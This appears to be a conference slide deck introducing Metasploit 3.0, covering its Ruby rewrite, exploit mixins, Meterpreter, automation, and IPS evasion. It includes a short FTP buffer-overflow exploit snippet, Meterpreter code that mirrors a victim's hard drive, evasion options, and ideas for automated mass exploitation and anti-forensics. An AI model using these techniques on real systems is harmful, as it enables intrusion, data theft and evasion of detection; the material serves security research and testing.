Agenda

- Introduction
- Metasploit 3
- Automation
- IPS Evasion
- Demonstration
Introductions - Who?

- BreakingPoint Systems
  - Director of Security Research
  - We build hardware to break things

- The Metasploit Project
  - Founder, developer, researcher
  - We build software to break things
Introductions - What?

- Metasploit v3.0
  - New features, massive changes
  - Starting to be usable :-) 

- Automation
  - Auxiliary modules, databases, events
  - “Turning Metasploit into Nessus”: -) 

- IDS Evasion
  - New evasion capabilities from 2.x
  - Offensive IPS filtering
June 2006 status
- 148 remote exploits, 75 payloads
- Found in 19 books, 1558 blogs, 240 articles
- 48,000 IPs used msfupdate in 2006

Growing pains...
- Load time increasing (200+ modules)
- Client-side exploits are a pain
- Automation is doable, but klunky
- Concurrency depends on fork()
Metasploit v3.0

- Completely rewritten in Ruby
  - Object oriented model was a better fit
  - Code compression at ~40%
  - 2.6 is 40K lines Perl, 3.0 is 88K lines Ruby
- New design, new features, new goals
  - Focused on flexibility and automation
  - Closer integration between features
  - Development guide and API docs!
Metasploit v3.0 - Architecture

- libraries
  - rex
  - framework-core
  - framework-base
- protocol tools
- custom plugins
- interfaces
  - msfconsole
  - msfcli
  - msfweb
  - msfwx
  - msfapi
- security tools
- web services
- integration
- modules
  - exploits
  - payloads
  - encoders
  - nops
  - auxiliary
Metasploit v3.0 – New features

- Multitasking through Ruby threads
  - Share single instance with many users
  - Great for team-based penetration testing
  - Multi-user plugin is only ~20 lines of code :-)

- Concurrent exploits and sessions
  - Support for passive exploits and recon mods
  - Multiple payload sessions open at once
  - Suspend and restore payload sessions
  - Share payload sessions with other users
  - Handle multi-victim exploits
Metasploit v3.0 – New features

- Extensive exploit module “Mixins”
  - Write advanced exploits in only 3 lines :-)  
  - Mixins for SMB, DCERPC, HTTP, FTP...
  - Huge boost for module consistency
  - Example FTP server exploit:

```
connect

buf = Rex::Text.rand_text_english(2048, payload_badchars)
seh = generate_seh_payload(target.ret)
buf[229, seh.length] = seh

send_cmd(["USER", buf], false)

handler
disconnect
```
Shiny new interfaces!
- Console uses module hierarchy/regex
- Web interface uses ERB / AJAX
- GUI version now in development:
Metasploit v3.0 – Opcode Database

- Opcode DB has been enhanced
  - Online database of win32 DLL information
  - Stores the location of usable 'opcodes'
  - Multi-language support expanded

- Framework integration
  - New command-line tool for queries
  - Building an 'opcode pool' system
  - Automated return address updates
  - Combine this with fingerprinting...
Metasploit v3.0 – Executable processing

- **msfpescan**
  - Command-line tool for EXE processing
  - Discovers usable return addresses
  - Partially used to create the Opcode DB
  - Now handles Resources and TLBs
  - Now identifies executable types

- **msfrpcscan**
  - Extracts MIDL information from PE files
  - Creates boilerplate for new exploits
  - Still in development...
Metasploit v3.0 – Exploit upgrades

- Rewrite of all exploit modules
  - Massive number of bug fixes
  - Improved randomness, use of Mixins

- Exploit module structure
  - Single exploit can target many platforms
  - Simplified the meta-information fields
  - Mixins can also modify exploit behavior
    - Target brute forcing
    - Passive exploits
Metasploit v3.0 – Payload upgrades

- Enhancements
  - Bug fixes and size improvements
  - New “cmd” modules, “php” payloads...

- Meterpreter
  - Consolidation of standard modules
  - Wicked cool API and remote scripting

```ruby
# Process migration
pid = client.sys.process['calc.exe']
client.core.migrate(pid)

# Mirror the remote hard drive in one line
client.fs.dir.download("/tmp/", "C:\", true)
```
Metasploit v3.0 – Auxiliary modules

- The problem...
  - Not all exploits fit into the standard structure
  - Recon modules overlapped with exploits
  - No standard for information sharing

- Auxiliary modules
  - Catch-all for interesting security tools
  - Perform reconnaissance and reporting
  - Integrate with third-party utilities
  - Report data in a standard format
Metasploit v3.0 – Events

- Event callbacks for common operations
  - Sessions – new session, closed session
  - Sockets – new socket, new connection
  - Database – object creation, modification
  - Interface – console start, other UI actions

- Event handlers hook and extend
  - Register with the EventManager
  - Export a method to hook the event
  - Catch the event, process the argument
  - Extend the object :-)

Metasploit v3.0 – Plugins

- The Ruby language rocks
  - Ability to redefine anything at runtime
  - Plugins can alter almost anything

- Framework plugins
  - Extend and replace Framework code
  - Hook events and filter parameters
  - Simplify feature development
  - Examples:
    - Socket tracing and filtering
    - Multiuser exploit console
Metasploit v3.0 – Database

- Support for common databases
  - Postgres, SQLite, MySQL, etc.
  - Based on ActiveRecord from RoR :-)
  - Simplified API and thread-safety

- Implementation defined by plugins
  - Monitor sockets with db_tracker.rb
  - Interact with the database (search, etc)
  - DB object creation/modification throws events
  - Persistent storage of session data
  - Reporting is just another plugin
Metasploit v3.0 – Automation

- Turning Metasploit into Nessus
  - Database backend provides “KB” function
  - Auxiliary modules for assessment/discovery
  - Event coordinator for triggering modules
  - Report generator uses the database

- Development status
  - 75% of the database schema
  - 50% of the Auxiliary module API
  - Handful of discovery modules
  - Integration with Nessus/Nmap
Creating a professional mass-rooter
- Auxiliary modules perform discovery
- Exploit modules perform vuln checks
- Plugins automate exploitation
- Plugins automate post-exploitation
- Dump XML reports via ActiveRecord

Useful framework for all security tools
- Extensive protocol support, friendly API
- Passive tools work well with event system
- Most APIs are accessible from Rex
Evasion is finally taken seriously
- Evasion options now a separate class
- Protocol stacks integrate IDS evasion
- Mixins expose these to exploit modules

Strong evasion techniques
- Multi-layered evasion defeats most solutions
- Client-side attacks impossible to detect
  - $WMF = HTTP + Compress + Chunked + JScript$
- Deep protocols offer so many options
  - $LSASS = TCP + SMB + DCERPC$
Example evasion options

TCP::max_send_size
TCP::send_delay
HTTP::chunked
HTTP::compression
SMB::pipe_evasion
DCERPC::bind_multi
DCERPC::alter_context
Metasploit v3.0 – Evasion features

- IPS fingerprinting
  - Implemented as Auxiliary modules
  - Use low-risk signature deltas to ID
  - Linux-based IPS depends on bridging...

- IPS evasion
  - Configure an 'evasion profile'
  - Override exploit / evasion options
  - Uses per-IPS evasion techniques
Metasploit v3.0 – Offensive IPS

- IPS filtering for the attacker
  - Socket hooking plugins can filter data
  - Not all vendors encrypt their signatures
  - Let's create an application layer IPS :-)

- The “ips_filter” plugin
  - Monitor all socket transactions
  - Block packets that would trigger an alert

- Challenges
  - Signatures are often for decoded data
  - Formats are difficult to convert to RE
See the presentation!
- Metasploit Research Toolkit (skape)
  - Standalone disassembler, emulator, mmu
  - eEye-style return detection, input tracing

- Metasploit Anti Forensics Tools (vinnie)
  - Standalone tools, moving to meterp modules
  - Completely hoses Encase :-)

- Miscellaneous small projects
  - IDARub – presented at RECon (spoonm)
  - Hamachi – publicly available (hdm)
Metasploit v3.0 – Miscellaneous

- Metasploit Framework License v1.0
  - Keep source code open, prevent abuse
  - Restricts commercial product integration
  - Free to use for commercial services

- Metasploit / Hacker Foundation
  - Early stages, working on non-profit status
  - Pave the way for research grants
  - T-shirts, internships, educational material...
Questions?

Contact information:
  hdm[at]metasploit.com
  http://metasploit.blogspot.com/